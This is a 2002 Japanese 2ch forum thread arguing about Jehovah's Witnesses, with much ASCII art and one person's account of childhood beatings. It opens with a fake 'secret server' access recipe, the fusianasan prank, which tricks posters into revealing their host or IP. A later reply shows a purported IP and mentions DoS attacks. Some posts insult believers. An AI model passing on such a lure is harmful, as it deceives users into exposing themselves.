やっとのことでサーバーが復旧し、以前からのデータも含めて閲覧可能になりました。
エホ証の秘密文書等のコンテンツは以前よりも充実してます。
まぁ試しに見てミソ!
(他の板にも掲示するので早くしないと繋がり難くなります)
見方は
1.書き込みの名前の欄に
http://fusianasan.2ch.net/ と入れます。 (裏ドメイン名)
2.E-mail欄に teacher と入れます。(カテゴリー)
3.本文にIDとパスワードの guest guest と1行目に入れます。
それから書き込みボタンを押してください。
4.タイトルが 「ようこそ 裏2ch画像館 へ」 に変わればOKです。
5.サーバーが重いと2chに戻ってきますが、くじけずに何度も挑戦してください。
うまく行くと、目的のページにつながります。
6.家庭の電話回線よりも、企業や学校の専用回線からの方が
サーバートラフィックの都合上つながる確率が高いです。
(注意!)全て半角で入れること!
23:00〜3:00の間はつながりにくいです!何度もトライ!
http://fusianasan.2ch.net/ ←は裏ドメインのため
「直リン」で飛んでも「404 そんな鯖無いずら」になります。
入り口は「表2ch」のCGIだけです。
>>664 うわ、古ーっ(笑)
微妙に文章が変わってるところにワロタよ。
これに引っかかるのは最近2ちゃんにきた奴くらいなもんだろ。
リモホ晒しをしたい人はやればいいんだろうけど(笑)
666 :
オールドファン :02/07/19 08:09
ワイさんはずいぶんと2ch歴長いネエ 他の人たちは3-4ヶ月頑張ったあとフェードアウトしていくけど あなたはよほど2chに体質が合っているのかな
guest guest
\ はにゃーーーん /  ̄ ̄\/ ̄ ̄ ̄ ̄ ̄ _____ , -―- 、 \ ` 、 . / ____ヽ // \ ー--__ / ノ;:fLi_l」」l_l」i .// \  ̄ ̄` 、 . / !i(6|:| l l | // \ ヽ .ヽ 〈ヘ ノ;ノi;|:ト、 lフノ♪〜 .//0ニ0 \ ! /(::(::(:::( ヽwiヽ // | | \ _ノ / /;):);)◇《~ヘ ~\_,.| ̄ ̄ ̄i ̄ ̄ ̄三三三三二二二三三三 ̄ ̄ ̄| . / /(('ノノ'ノ|| 〉ヽ ゙ '´rヾ| i 三三三三二二二三三三. | / /-‐-、/||'Vヽi ̄ l二|___i___三三三三二二二三三三___| l/ / .(、 ´  ̄` ヽ | | ! ! ̄ ̄ ̄ ̄| l ̄ ̄ ̄ ̄ ̄ ̄ | | ヽ._/ (〓〓) i | | ! ! .| l | l |lノ ̄/ ,' l.l ! ! ! l ! l ! || / / i トl. |、 |_l. l. | l. | || ヽ.' / ! !|_|フ) |_| |_| .□ ` ^ー〜'^∪ ∪ ∪
○ О ο o 老若男女一心揚踊 оo Ж 不問皮有無 ゚ / \ / Y \ ( ) . ( ) | | /Y\ /Y\ . . . | | | | (( ) 三 ,,)) |ノノノノノノ ( ・∀・) ヽ ( / ミ ( ・∀・) ) ( キ .メ ./ . ) ( (__Y_) 乂 ノノノノノノ ノ 一斉一同 (__ Y_) ( ・∀・) 珍珍揉揉! _∧_______ 香少年風 ) (⌒) . . . │ 要洗落垢 (((__)⌒ ̄ │我望頭部珍珍揉揉 . └───────── ∧ ∧ 珍珍揉揉 我喜♪ ヽ( ´∀`)ノ Å 珍珍揉揉 我幸♪ へノ / / \ ε ノ . ヽ(´∀`)ノ > 珍珍揉揉 ( ヘ) 珍珍揉揉皆平和 我快心♪ ♪ くω
質問 夫の奥さんがエホバの証人に入ったとします。 夫は仏教で、家には仏壇が有ります。 仏壇をどうするんですか?
671 :
名無しさん@1周年 :02/07/19 13:10
どうもしないよ。 ただ、手を合わせたり 崇拝行為をしないだけだよ。 それ以外の事(掃除など)は、本人の良心におまかせ。
>>670 仏壇はそのまま
奥さんが拝まないだけ 夫が信者になるまで置いて置きます
>それ以外の事(掃除など)は、本人の良心におまかせ。 ということは供え物を仏壇に供えたり、 古い供え物を取り出したりすることは崇拝行為ということになるのかな? どうなんでしょう?
674 :
名無しさん@1周年 :02/07/19 13:52
> 供え物を仏壇に供えたり、 > 古い供え物を取り出したりすることは そういうことは仏教の信者が 自 分 で やるべきでしょう。違いますか? 信じていない人に供え物を触らせるような無神経な人が仏教徒にいるのですか?
>>666 うん、合ってるみたい(爆)
現役さんと「交われる」数少ない場所ですから。(しかもホンネが聞けて楽しかったです)
でも来月から旅に出るので、ここからは引退しますよ。
>667
警告したのに・・・・。
>675 最近は、「スレスト」で引っ掛ける方法もあるからね・・・。
677 :
名無しさん@1周年 :02/07/20 04:33
松山で排斥1人 2chでエホバを批判したことでチョン
678 :
名無しさん@1周年 :02/07/20 05:28
キ // /::::://O/,| / これは…… ュ / |'''' |::::://O//| / 半ば 無駄レス .ッ \ |‐┐ |::://O/ ノ ヾ、/ : |__」 |/ヾ. / / だが 半ば…… ヽ /\ ヽ___ノ / . へ、,/ 良レス…! / × / { く / く /_ \ !、.ノ `ー''" /\ ''" // | \/、/ ゙′ |\ /|\ ̄ \|
guest guest
680 :
名無しさん@1周年 :02/07/21 10:41
>>679 アホービーヒーはリモホの中にIPアドレスが含まれるから、DoS攻撃には
気を付けてね。
ちなみに、あなたのIPは 219.010.020.005 ですね。
681 :
名無しさん@1周年 :02/07/21 14:11
/\ \ __/ / ̄/ /\ _\/ /_\ / / ̄ ∧_∧ \/__(;・ ∀・) わたしがエホ証を救います。改革カイカク / と ノ ハァ / 人 Y ハァ \/し'(_)
682 :
名無しさん@1周年 :02/07/21 14:52
エチーしてみたい
683 :
ケンシロウ :02/07/21 21:57
あべし
684 :
名無しさん@1周年 :02/07/22 06:48
/\ /\ / \ / \ / ゙'----''"´ ヾ / `:、 / `: | i | ノ ' | | .,___., .,___., i もうだめぽ 、 ''"´`:、 υ / `丶,:' 、. . )___Д____,,.,_,,.;''" / / ο
685 :
名無しさん@1周年 :02/07/22 15:24
二二二二二二二二二二二二二|| // ‖ //ヾ::::::::ノ| / ‖ / ヾ::.:::ソ| ∧_∧ ‖ // |三| " , 、 ミ 遠い所までよく / /■\ワショーイ! ノ::i::i:;;ヽゝ∀ く いらっしゃったわね〜王国会館のおね−ちゃん ( ´∀`∩/ ∧_∧:::ノ::::i;;;;/ ノ ̄ヾ i 二二 (つ ノ二 ( ´∀`)~~~~~し旦旦とノ __ ヽ ( ノ (つ つ | _ノミ |\ ̄(_)し' ̄ ̄ ̄ ̄ ̄ ̄ ̄\|___/| \ \ \ | |
686 :
アム・ハーアーレツ :02/07/22 22:44
> 来月から旅に
>>675 おやおや、当分の間お別れですか。名残惜しいです。
では、行ってらっしゃい、輸血に気をつけて!
687 :
名無しさん@1周年 :02/07/22 23:01
,. - ‐- 、/,_ / /" , "' ヽ / i 「 //, iヽ\ 、 .. / ィ /从 / .// ` ヽ`、 / i ^/_ノ/ナノ// _ ノiヾヽ ,} / / (レ^〉/iO)_` ,-、`i i i } i . / / 〉.〈  ̄ ;、i0,/ ノ リノ ノ / / / 、^ム ー / / i / / l_,、ゝ-t_ ‐ '"〉^〈 + ル / , -‐ゝ^〉ト 、ヽ ゞ /. /| :.;″ iイ ./ / '、. 'i,_ゝ} ゝ 〉 ゝ. /,;il!′ ;".;": ノ / / / \. l \l/^〈. /,;il|;'′ / / / l 〈.^.〉 ゝ 〉. //|l!"┃ / / ト yゝ 、 ト^ゝ. ///┃ / ィ ( ヽl i 〉^/. i'、^'i. /// ,;".; . ( // )\ { i ,イヽ^ゝ i iヽ'ゝ. /// .;".・;"″ エフォ症…。みんな纏めて切り捨ててあげる…
688 :
名無しさん@1周年 :02/07/23 12:46
毎度失礼します. なぜか大学は世界中どこでも長い間単位制です. いまエホバの証人退学意見無効事件ににたものを 提訴中ですが,今度控訴審で訴えの変更して 単位取り消し型全学年落第制度は違憲無効 であるとの確認をしようと思っています.新聞社にも予告しています. 勝ち負けよりも本案にあがるか今ひとつ 見えません.上がれば最高裁までいきます.どうしたら 本案にあがるか名案をアドバイス願いします.
689 :
名無しさん@1周年 :02/07/23 13:29
訴えの利益なし。
690 :
名無しさん@1周年 :02/07/23 13:52
691 :
名無しさん@1周年 :02/07/24 13:29
∧∧ (*゚ー゚)⊃∧ 王国会館にくる奴はアホが多いですね。ネコよりアホですよ __| つミ,, ゚Д゚ミ,,,,/~つ_ と_)ヽ,,,つ,,,,,,,ノJ | ━┳━  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|.......┃  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ .┻
692 :
名無しさん@1周年 :02/07/24 15:30
輸血しないと死ぬけどできない ↓ | △ | | 〔(゚ ∀ ゚)〕 .| (⌒⌒⌒⌒⌒⌒⌒) |⌒⌒⌒ <⌒ヽ o 。 うああぁぁ... | <_ ヽ。 | o とノ ノつ | 。 | 〜つ
693 :
名無しさん@1周年 :02/07/25 04:22
-― ̄ ̄ ` ―-- _ , ´ ......... . . , ~  ̄" ー _ _/...........::::::::::::::::: : : :/ ,r:::::::::::.:::::::::.:: :::.........` 、 , ´ : ::::::::::::::::::::::::::::::::::::/ /:::::::::::::: : ,ヘ ::::::::::::::::::::::: : ヽ ,/:::;;;;;;;| : ::::::::::::::::::::::::::::::/ /::::::::::::::::::: ● ::::::::::::::::: : : :,/ と,-‐ ´ ̄: ::::::::::::::::::::::::::::::/ /:::::::::::r(:::::::::`'::::::::::::::::::::::く (´__ : : :;;:::::::::::::::::::::::::::/ /:::::::::::`(::::::::: ,ヘ:::::::::::::::::::::: ヽ  ̄ ̄`ヾ_::::::::::::::::::::::し ::::::::::::::::::::::: :●::::::::::::::::::::::: : : :_> ,_ \:::::::::::::::::::::::::::::::::::::::::::::: `' __:::::::::-‐ ´ (__  ̄~" __ , --‐一~ ̄ もうだめぽ
694 :
名無しさん@1周年 :02/07/25 05:22
695 :
名無しさん@1周年 :02/07/25 07:55
696 :
名無しさん@1周年 :02/07/25 08:03
p | k |⌒彡 o |冫、) ゴメンネ… |` / | / |/
697 :
名無しさん@1周年 :02/07/25 09:03
698 :
名無しさん@1周年 :02/07/25 10:48
>>697 反対派の中傷、でっちあげまで信用しろというのでしょうか?
699 :
名無しさん@1周年 :02/07/25 11:06
700 :
名無しさん@1周年 :02/07/25 11:38
>>698 お前現役か?
インターネットはやらないほうがいいんじゃないの?
目ざめよにも何回も書いてあるだろ!ネットの危険性がよお
しかも2ちゃんねるに来るとは、、
どうせ、排斥者の文章も読んでるんだろ。禁止されてるはずなんだけどね!
正直お前は終わってるんだから、本当の信者の邪魔だからもう集会に来るなよ!
>>698 、俺に反論できるはずないな(w
701 :
名無しさん@1周年 :02/07/25 11:42
>>700 お前現役か?
-― ̄ ̄ ` ―-- _
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もうだめぽ
702 :
名無しさん@1周年 :02/07/25 11:43
>>700 お前2世か?
-― ̄ ̄ ` ―-- _
, ´ ......... . . , ~  ̄" ー _
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と,-‐ ´ ̄: ::::::::::::::::::::::::::::::/ /:::::::::::r(:::::::::`'::::::::::::::::::::::く
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(__  ̄~" __ , --‐一~ ̄
もうだめぽ
703 :
名無しさん@1周年 :02/07/25 11:50
輸血論議も結構、難しいのねー 記述自体は、しごく簡単なのに。
704 :
名無しさん@1周年 :02/07/25 11:56
705 :
名無しさん@1周年 :02/07/25 12:09
スタンドファーム東京事務所 03-3990-8590 大阪事務所 06-6877-7638
>>700 >俺に反論できるはずないな
反論待ってるクセに 暇なヤツだな(w
既に排斥になっている者から忠告受けるのもなんだか変だ(w
707 :
名無しさん@1周年 :02/07/25 12:20
>>704 展示会をやる際、他のスポンサーからエホバの証人という名前を使うなと
指示が来ているという話は聞いたことはある。
後、スタンドファーム自体は、一部の証人達が組織を通さずに
自分からやってることだから、関係があるとは、言えないんでしょ?
708 :
名無しさん@1周年 :02/07/25 12:24
海老名もブルックリンもスタンドファームを自分の管轄下にある団体と して管理した事は無いし。
709 :
名無しさん@1周年 :02/07/25 12:31
>>706 分かってんなら反論すんなよ・・
どうせ、お前もすぐ辞めるんだろうけどナ
まあ、まだガキだからな、親に反抗できないよな・・同情するよ
>>707 「 ものみの塔聖書冊子協会が公式に明らかにしているように、スタンドファーム実行委員会という組織が、日本の各地域のエホバの証人によって自発的に結成されました。
この組織は、ものみの塔聖書冊子協会公認ですが、公式ではなく、運営費用などはメンバーが全額負担しています。
また、ショーア財団などの、エホバの証人でない人たちもこの組織に協力し、参加しています。
アメリカの公式ホームページには、この団体はボランティア団体で、費用は地元のエホバの証人が負担している、と記されていました。」
ここ見てみろ!
残酷な光景を見せて、洗脳しようとしてるのバレバレ↓
http://www.netpassport.or.jp/~wosmfuji/trianguloroxo.htm
710 :
名無しさん@1周年 :02/07/25 12:39
>>709 >ここ見てみろ!
未だ見てないよ、以前に見て吐きそうになったのがあるからね
711 :
名無しさん@1周年 :02/07/25 12:43
>>710 現役はスタンドファームを非難すべきじゃないのか?
彼らのせいで、ものすごくイメージダウンしてるぞ!
信者は増えてるかもしれないけど・・・
あと、ヒトラーに手紙を送っていた事実をちゃんと公表し謝罪したほうがいいのでは?
712 :
名無しさん@1周年 :02/07/25 12:58
問題なし、 何でもいいから悪口言いたいって奴は、どんな立派な行いにも言いがかりを羅附けるから
713 :
名無しさん@1周年 :02/07/25 13:05
>>712 エホ証を本当に信じてるんだね
幸せならそれでいいさ、僕の母さんもね!
俺が許せないのは現役がネットしてこんなとこにきていることにさ!
そんな信じてないんならいいけどさ、君は本当に信じてるんだよね
だからむかつくのさ!
714 :
名無しさん@1周年 :02/07/25 16:03
だんだん分かってきたよ、「現役が幸せそうに見えるからむかつく」んだね。 本音を言えばスタンドファームが正しいかどうかは二の次でしょ。
715 :
名無しさん@1周年 :02/07/25 16:06
は?
716 :
名無しさん@1周年 :02/07/25 16:33
>>714 あまり図星をついちゃかわいそうよ 行くところ無いんだから
717 :
名無しさん@1周年 :02/07/25 16:37
海老名ベテルの中にある(もうないのかな)ナチス関連のパネルとかって スタンドファームで使われたものとは違うの?
718 :
名無しさん@1周年 :02/07/25 16:48
>をついちゃかわいそうよ 行くところ無いんだから
>>716 かえる所ならあるのではないかな、もといた所が。
彼らがそうする事を天の父も楽しみに待っておられるのだもの。
719 :
名無しさん@1周年 :02/07/25 16:53
> ものみの塔から情報を頂いているだけです ←
>>704 って、そのパネルの事だったのか。
>>717 (w
みちのりさん 「愛ある親切」のものみの塔の記事のところで,ヘブライ語「ヘセド」を「愛ある親切」とのことでしたが,ヘブライ語で「普通の親切」は何と言うのですか? 教えてください。
>>714 ・・・・・
エホ証信じてる奴がネットやって、背教者の文章を読んでることが
むかつくんだよ
決まりも守れない奴はエホ証じゃねーよ
ネットにはサタンがうようよいるぞ、おい!
ネットやってエロ画像見てるお前の事を、エホバがどう見ているか考えたことあるのか?
俺の母さんはエホ証で幸せそうだから、エホ証を攻撃したくないんだよ
だから、スタンドファームのような怪しくて攻撃されやすそうな団体はむかつくんだよ!
>>718 老人になったらエホ証にかえるかもな、寂しいからな
てか、現役がネットすんなよぼけ!
長老がお前らがこんなところ見てるって知ったらどう思うかなー?
724 :
名無しさん@1周年 :02/07/26 07:13
エホバなんていないんだよ。洗脳ロボットめ
>>724 いるという証拠もなければ
いないという証拠もない
726 :
流れ着いた名無しさん :02/07/26 07:48
ついつい目に入ってしまった...
>>721 >決まりも守れない奴はエホ証じゃねーよ
コリントII 5:12
わたしにとって,すべての事は許されています。しかし,すべて
の事が益になるのではありません。わたしにとって,すべての事
は許されています。しかしわたしは,いかなるものにもその権威
のもとに置かれたりはしません。
害を被るのはその人自身です。そういったリスクを承知でココに
くる(or 展示活動をする)のでしょうから放っときましょう。
この文脈からいえばそのような行動は決して褒められたものでは
ないですが。(俺も
現にあなたもそのことで気分を害されておられるようですし。
これはよく熟考すべき問題と感じます。
>老人になったら〜
伝道12:1
それで,あなたの若い成年の日にあなたの偉大な創造者を覚えよ。
災いの日々がやって来る前に,「自分はそれに何の喜びもない」
と言う年が到来する[前に]
こんな言葉もあります。でもこれは老人になる前に滅んでしまう
から早くJWになれということとは話が全く違います。
(俺はこういう考え方ははっきりゆってキライですわ。こういう浅い
解釈がエホバの証[略]
これは神の僕ソロモンが書いた人間の幸福に関する知恵の言葉です。
エホバの証人があなたにとって良い宗教であると思われるのでしたら、
是非ご一考ください。
727 :
名無しさん@1周年 :02/07/26 08:49
>>724 >エホバなんていないんだよ。洗脳ロボットめ
ではどうして君は存在しているのかな?
728 :
名無しさん@1周年 :02/07/26 09:42
>>724 の眼には見えていない
ただそれだけの事。
729 :
名無しさん@1周年 :02/07/26 09:50
エホバなんてアホ神の僕になった時点で人生終わり〜。 あらえっさっさ。
730 :
名無しさん@1周年 :02/07/26 10:23
全部サタンのせいにして自分は責任逃れ。
731 :
名無しさん@1周年 :02/07/26 10:38
サタンもエホ証相手にするほど暇でなし。
どうして日本国におめでたい奴が増えたのだ。戦争でもやって,こいつらを佃煮にしてください。
733 :
名無しさん@1周年 :02/07/26 19:30
ではどうして、おまえが存在しているのかなと、死ぬまで考えていなさい そのうち馬鹿エホバロボットにつける薬が発明されます
>721 >エホ証信じてる奴がネットやって、背教者の文章を読んでることがむかつくんだよ >決まりも守れない奴はエホ証じゃねーよ 結局、現役が背教者の文章をせっせと読んで、ネットで反論したりすると、困るんだろ。 JWは悪い宗教で、信者はとめどなくだまされつづけて、俺たちはそのことに気づいたから JWを辞めたんだって言いたいんだろ。 ネットは俺たちの聖地だ、みたいに言ってるオマエがウゼー >726 いちいち反論すんな!
735 :
名無しさん@1周年 :02/07/27 04:10
ものみの塔はサタンの組織です
>>734 お前アホか?
お前の会衆の長老が
お前がこんな所見てるって知ったら、どう思うと思う?
エホ証は背教者と付き合ってはならない
議論もする必要はないって習わなかったのか?
俺がJW辞めたのは
聖書自体信じられなくなったからだよ
お前721に書いてあること読めないのか?
俺はエホ証攻撃したくないっていってるだろ!
現役を議論で負かせて辞めさせる為にここにいるわけじゃねーよ
エホ証のくせにネットしてエロ画像見たり
背教者の文章読んでんじゃねーよって言いたいんだよ
禁止されてるはずだろ?エホ証は決まりもまもれねーのか?
しかし、エホ証のくせに言葉遣いが悪いな、ガキ
738 :
名無しさん@1周年 :02/07/27 09:13
| | ‐ー くー | ヤヽリ ´゚ ,r "_,,>、 ゚'} ヽ_」 ト‐=‐ァ' ! わたしもやりまくってますよ。
739 :
名無しさん@1周年 :02/07/27 09:29
>俺はエホ証攻撃したくないっていってるだろ! 本心からそう思っていますか? あとは実行あるのみ! がんがれ。
740 :
721,736について :02/07/27 19:39
稚拙な論理で信仰の本質についての観点が抜けているが、興味深い発言だとも思う。
742 :
名無しさん@1周年 :02/07/28 06:01
743 :
名無しさん@1周年 :02/07/28 06:58
あさdア
744 :
名無しさん@1周年 :02/07/28 09:36
浅田飴 と言いたかったのかな?
745 :
名無しさん@1周年 :02/07/28 09:57
エホ証でネットしてる奴ってエロ画像とか見るんかな、そりゃ見るだろーな。 長老とか僕でも平気で見てそうだな、なんか。 俺だったら絶対見るしな。 つかMXでガンガン落としてる奴とかもいそーだなw
飽きずに聖書を読んでるオメ−ラに感心するだ。 輸血がぇくないとかカントか結構なことじゃんか。血が足りないんじゃ。 輸血せんと社会に貢献せ−や。ず−−と禁止にしといて−や。変更はぇかんで 輸血せんではよしんで−や、労働人口は供給過剰じゃ。
747 :
名無しさん@現役 :02/07/28 10:24
748 :
名無しさん@1周年 :02/07/28 18:42
クリスチャンとしての良心を日々訓練しているので大丈夫です。 そのような欲望にかられたらすぐに祈って助けを求めます。 >745
749 :
名無しさん@1周年 :02/07/28 19:43
かんゆううざい
750 :
名無しさん@1周年 :02/07/28 19:58
>>748 祈りの答えとして、より一層のけぞるほどに過激なエロ画像が
あなたに与えられる事でしょう。
751 :
名無しさん@1周年 :02/07/28 20:21
もっと過激なエロ画像が出てきたら、それを退ける勇気はないかもれないけど、 エロ画像にアクセスしないような努力はしますよ。
どうしてエロ画像みてはいけないの? おちえてちょうだい
753 :
名無しさん@1周年 :02/07/29 16:25
ポルノを取り入れると性に対する間違った見方を持つようになるからです。 異性を性の対象とみなして純粋な愛を抱く事ができません。 あらゆる汚れから身を清めなさいという聖書の助言に従います。
754 :
名無しさん@1周年 :02/07/29 16:50
>>753 >あらゆる汚れから身を清めなさいという聖書の助言に従います。
もう、そんなキレイ事は聞き飽きたよ。
まあ、君個人が従っている事に関してだけ言えば、素晴らしい事だと思いますよ。
しかし、差身が籍を置いている組織に関しては「あらゆる汚れから〜云々・・・」は
かなりキツイものが有るとおもわれ・・・
755 :
ユダ・イスカリオテの子孫 :02/07/29 17:02
私が、生まれたと同時に母親がエホバの証人を信じ始め 週三回欠かさず集会へ連れて行かれました 意味のわからない話を休みなしで2時間聞かされ 幼い私は、ついうとうと眠ってしまうのです それを見た母は私を強くつねり 私が、なくと家で1回と小声で言うのでした 家に帰るとパンツを下ろされて縄跳びの鞭で尻を叩かれるのです 私はそれが嫌で拒むと反抗したと言い また1回プラスされるのです そんなことが、小6までずっと続きました あるときは、足を持たれ中刷りされて 顔やほかの部分も叩かれました それが、エホバの教えだと母は言いました 中学1年の時に私は集会へ行くのをやめました 最初は、ものすごく母が来る様にと 私の手を引っ張りましたが、私は逃げることを知り 集会の日は母が出て行くまで帰りませんでした 私は今では、何事もなく生活していますが 妹2人は未だに連れて行かれています しかし、尻を叩かれてはいません エホバの方針が代わったと母は言っています 私が幼いころに受けた虐待はなんだったのかと 思います
756 :
ユダ・イスカリオテの子孫 :02/07/29 17:16
エホバの矛盾点をいくつか言います 神は、なぜ完璧なはずなのにイエスを作り 使徒(精霊達)を作る必要があったのか神一人ですべてをこなせたはず イエスにこの世界を作る時に手伝ってもらったが 手伝ってもらわないとできなかったのか? 神は七日目に地球この世界をつくるのを終えて休まれた と書いてあるが、神ともあろう者が7日もかかり しかも、休む必要があったのか そして、自分が作った使徒の中からサタンという名の悪魔ができる事を 予測できなかったのか? そのサタンによって人間が不完全になり、今のような世界になることも 予測できなかったのか? もし予測できなかったとすれば神(エホバ)は絶対的な存在ではなく 完璧でもない もし予測できできていたのなら、エホバこそ真の悪魔である そして、なぜ完璧な神は人間やイエスそして使徒たちを作ったのか? 寂しかったのであろうか?だとすれば神は人間と同様孤独という 弱点を持ち完璧ではない そして、最初の人間アダムとを作ったそして動物を作り エバ(人間の女)を作ったと聖書に書いてあるが 恐竜はどこへ行ったのか? そして恐竜というほとんど絶滅するものを作る必要があったのか? それもまた疑問です
sage
758 :
名無しさん@1周年 :02/07/29 17:41
759 :
名無しさん@1周年 :02/07/29 17:53
実は神は全てを知っていたのだよ。 全ては神の計画どおりだった。 神にできないことなどないのだ。 反逆されると分かって先の天使長を作り、食べられると分かって、知識の木をエデンの園の真ん中に植えた。 そして、全てを一瞬にして作ったのだ。霊的な意味で。 絶対性の世界では時間は存在しない。永遠なるいまがあるだけだ。神は常に存在していたし、神が段階的に創造したのは幻想だ。 聖書は絶対性の世界から相対性の世界に向けて書かれたものだ。 相対的な見地から読んでいたのでは訳が分からなくなるのは当然だろう。
760 :
名無しさん@1周年 :02/07/29 18:12
神は純粋な意識(愛)だった。 しかし、絶対的な世界では自分が愛であることすら分からない。 メロンしか食べたことのない子がバナナの味を知らないように。 そこで神は相対性の世界を創造した。自分が何者であるかを知るために。 創造は想像によった。想像は神の言葉であった。言葉は神と共にあった。その数々の想像の言葉は神であった。それによって一切が造られた。
761 :
名無しさん@1周年 :02/07/29 18:31
人間に自由意志を与えることは、知識の木を与えることで十分だった。 それは神の目的に叶うことであった。 エバが欺かれ、アダムと共にその木の実を食べることは既に分かっていた。 しかし、それを食べたことは、同時に死を意味していた。それによって常に死の伴う律法が世に入ったからである。 しかし、これも神の意図したところだった。何度も死を経験させることで人間自身が成長し神に近付くことができるようになるためだ。 神は人間に神の特性たる愛となって欲しかった。そうすることが神自身を賛美することであり、喜びだったからだ。
762 :
名無しさん@1周年 :02/07/29 18:38
今日は朝から浜辺のゴミ拾いをして、午後から体育館でバレーをしました。全員で25人くらい居ます。 ここでスポーツやると活躍できるので楽しいです。 これが全て洗脳する罠だとしたらこの人たちはほんと恐ろしいですね。 抜け出す勇気がなかなか出ません。もうすぐ紹介者がここにくるので、その時帰る事を伝えて帰りたいと思います。
763 :
名無しさん@1周年 :02/07/29 18:52
764 :
名無しさん@1周年 :02/07/29 19:47
奉仕してるときに犯られちゃう人って結構いるの? 20年も前かなぁ、奉仕途中で行方がわからなくなっちゃった姉妹がいて、 その後、体調崩したとかって、しばらく姿を見なかったんだけど、 犯られちゃってたのかなぁ。当時子供だったから何の疑いももたなかったけど。 そんな話ってたくさんあるのかな?
765 :
名無しさん@1周年 :02/07/29 23:17
>>755 ,756
わかる。本当にわかる。同じ目にあいました。わたしも。
最近、母に小一時間、いかにおろかな育て方をしたのか徹底的に
言いました。
罪は重いですね。わたしもトラウマになっているもの。
766 :
とっくに不活発 :02/07/30 01:41
>765 あぁ、わかる(w ウチの母も「間違っていた」と言うよ。 ・・・だったら間違っている宗教じゃないかと思うんだが。 それだけは認めないんだな。。。
>766 あなたは聖書読んだことある? 聖書中には忠実に神に仕えたけど、人間的な不完全さや愚かさから間違いを犯した人物の例が数多くある しかし、彼らの多くはそれに気付いた時、真の悔い改めを示し、また正してきた、でもその結果は刈り取った。 ダビデやペテロ、口の重いモーセでさえも、、でも、その記述は聖書に残っており、 神はそれを許された あなたは間違いを一度も犯したことの無い人を知っているのか? あなたは、これまでの人生で間違いは犯したことは無いのか 間違う事を奨励しているわけではない、自分たちの生き方を神の言葉に合わせて行おうと努力中なんだよ、 あなたは間違いを犯した級友に、間違った奴と言うレッテルをつけて呼び続けるの?
768 :
ユダ・イスカリオテの子孫 :02/07/30 08:28
>>767 さん
756の僕の質問に答えてくれますか?
エホバの証人に答えてほしいです
あと、楽園で永遠に生きるらしいんですが
楽園での暮らしは本当に幸せなんでしょうか?
誰も死なないで、人口はどうなるんですか?
途中で止まるとしたら子供のいない世界になりますね
ライオンなどがわらを食べるらしいですが食物連鎖とか壊れそうだと思います
あと楽園に住む人たちは完璧な人たちなんですよね?
この世が終わり1000年与えられると聞いた覚えがあります完璧になるまでの時間
僕はその1000年でもきついような気がします
あと楽園では科学がとてつもなく進むように思えます
何しろ今の科学を知った人たちが完璧になって
その後永遠に生き続けるわけですから
パンフレットのさし絵のようにはならないですよ
あと、完璧になったとしても人間に選択の自由が与えられる限り
サタンのような者が現れると思います
神は使徒たちを一応間完璧につくられたのでは?
楽園では永遠に生き続けるんですよね?
それこそ地獄だと思います何しろ永遠なわけなんだしやりつくすことは必死です
生きることにいつか飽きるでしょうあなたは100億年後の自分が
何をしているか創造できますか?
楽園では海で溺れても死なないのでしょうか?
雷に人間が当たる確立は10万分の1ですが
永遠に生きるわけだしいずれ全員当たると思うのですが
楽園では雷に打たれても死なないのですか?
769 :
名無しさん@1周年 :02/07/30 11:32
>>768 >楽園では雷に打たれても死なないのですか?
実際楽園に行ってみないと真相はわかりません
わたしが想像するには、人間が耐雷性を身に付けるとは考え難いように思います
とすると、神が雷を制御して人が落雷に逢わないようにされるのかよくわかりません
770 :
名無しさん@1周年 :02/07/30 11:36
>>768 突然こいつなにとちくるってんの?質問攻めにすりゃ話をずらせるとでも
おもってのんかw
771 :
ユダ・イスカリオテの子孫 :02/07/30 12:05
>>769 さんマジレスありがとう
他の質問にも答えていただけますか?
真剣に悩んでいます
772 :
ユダ・イスカリオテの子孫 :02/07/30 12:11
エホバの証人への迫害が激しく始まれば 予言通りなので 私はまた集会に行くかもしれませんそれからじゃ エホバは許してくれませんかね?
773 :
名無しさん@1周年 :02/07/30 12:28
エホバはもうすでに許しているよ。 実は許すことなど何もないし、許されることなど何もないのだ。 どうして神が自分の一部分を許さなければならないのか?
774 :
名無しさん@1周年 :02/07/30 12:49
各々自分の業に応じて報いがあるだけだ。 それは現実的なものであって、天罰というものではない。 予言によって、神がどのような方かを知ったと思うが、それは正確な理解じゃないな。 神の世界では全てが一瞬で起こっているのだよ。 預言者はそれを過去・現在・未来の時間軸という幻想を抱いて書き記した。 予言を読むためには、絶対性の世界からみなければならない。 絶対性の世界には、過去や未来というものはないのだよ。 私は始めであり終わりであるといったのは神ではなかったかね。 永遠に続く現在があるだけだ。
775 :
名無しさん@1周年 :02/07/30 12:54
そして、神は純粋な愛である。 ほとんどの人は神が条件付きで愛していると信じているが。
776 :
アム・ハーアーレツ :02/07/30 13:04
>>772 信ずべき根拠を得次第、信じた人にふさわしい行動をはじめたい、と言う心意気
非常によいことだと思います。
> それからじゃエホバは許してくれませんかね
それこそ神しか知りえない事ですけど。イエスの復活を他の弟子たちは既に信じ
ていた時、使徒トマスは証拠を見るまで信じられないでいたのをおぼえています
か?イエスはトマスを捨てたりはせずに釘と槍の傷跡を示してトマスに信仰を持
たせ、暖かく応援しました。
主があなたに対しても同じ態度を示す可能性は高いとわたしは思います。
777 :
ユダ・イスカリオテの子孫 :02/07/30 13:40
皆さんはエホバの証人なんですか? なんか過去ログ見てて悲しくなりました 僕みたいに途中でやめた人しかここに来ないような気がするのですが それに、兄弟、姉妹達はとても親切で同年代の世の人とは比べ物にならないぐらい 温和な人たちでした それに、奉仕で町を回っていますが別にものみの塔を売っているわけでも ないし、しつこい勧誘もしてなかったです 別の宗教の人の嫌がらせだと聴きましたが本当ですか? 世の人がエホバの証人を叩けば叩くほど 僕の信仰が強くなっていくのですが・・・ どうか、予言通りにならないでほしいです
778 :
名無しさん@1周年 :02/07/30 14:19
それならそれでいいだろう。しかし、決してあなたがたの言うような予言の成就はないだろう。 どうやら組織の言うことは信じるが神の言ったことは信じないらしいな。 聖書は全体的に読むものなんだよ。二つの原則に裏打ちされているのだが、どうやら真の意味で理解していないらしいな。 これを迫害というならば、そう呼べばいい。 しかし、エホバはこう言われたのだよ。『あなたは、わたしがエホバであることを知らなければならなくなる』と。 洞察の本の愛のところを見てごらん。愛のヘブライ語はアーハヴァー。似ているとは思わないかね。
779 :
ユダ・イスカリオテの子孫 :02/07/30 14:38
